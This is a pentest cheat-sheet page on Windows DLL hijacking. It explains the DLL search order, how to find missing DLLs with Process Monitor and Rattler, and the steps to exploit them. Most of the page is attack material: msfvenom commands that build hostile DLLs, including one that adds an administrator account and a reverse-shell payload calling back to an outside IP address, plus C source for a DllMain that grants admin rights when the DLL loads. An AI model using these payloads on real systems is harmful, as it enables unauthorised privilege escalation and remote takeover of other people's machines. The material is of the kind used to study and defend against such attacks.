Dynamic Link Library Hijacking (DLL Hijacking)
DLL hijacking is a common technique used to escalate privileges on windows system when services or applications attempt to load a non-existent or improperly specified DLL. if an attacker can place a malicious DLL in a directory that gets searched first, the application will execute the attacker's code.
DLL Search Order on Windows
when a process starts and attempts to load a DLL without a full path, windows searches in the following order:
The directory from which the application was loaded (IMP)
C:\Windows\System32
C:\Windows\System
C:\Windows
The current working Directory
Directories listed in the
PATH
variable (IMP)
Tools for DLL Hijacking
Process monitor (Sysinternals)
Setup a Dilter (Ctrl + L)
Result -> is ->
NAME NOT FOUND
-> includePath -> ends with ->
.dll
-> include
Helps detect which DLLs are being searched and not found(missing)
Rattler (DLL hijack Finder)
A tool sensepost to automate the discovery of DLL hijack opportunities.
Generating Malicious DLLs with msfvenom
msfvenom
Open Paint
msfvenom -p windows/exec CMD='mspaint' -f dll > 1.dll
Open Calculator
msfvenom -p windows/exec CMD=cacl.exe -f dll > 1.dll
Add User to Administrator Group
msfvenom -p windows/exec CMD='net localgroup administrators DevNull /add' -f dll > 1.dll
Reverse Shell Payload
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.29.218 LPORT=43 -f dll > 1.dll
Manual DLL Creation
windows_dll.c
//Set x64 compile with : x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
//Set x32 compile with : i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDLL, DWORD dwReason, LPVOID lpReserved) {
if( dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net localgroup administrators rahul /add");
}
return TRUE;
}
Exploitation Steps
Identify missing DLLs using Process Monitor or similar tool.
Verify write access to the directory where the DLL is expected.
Generate malicious DLL using
msfvenom
or a custom payload.Place he DLL in the vulnerable directory.
Trigger the process or reboot the system to execute the DLL.
Last updated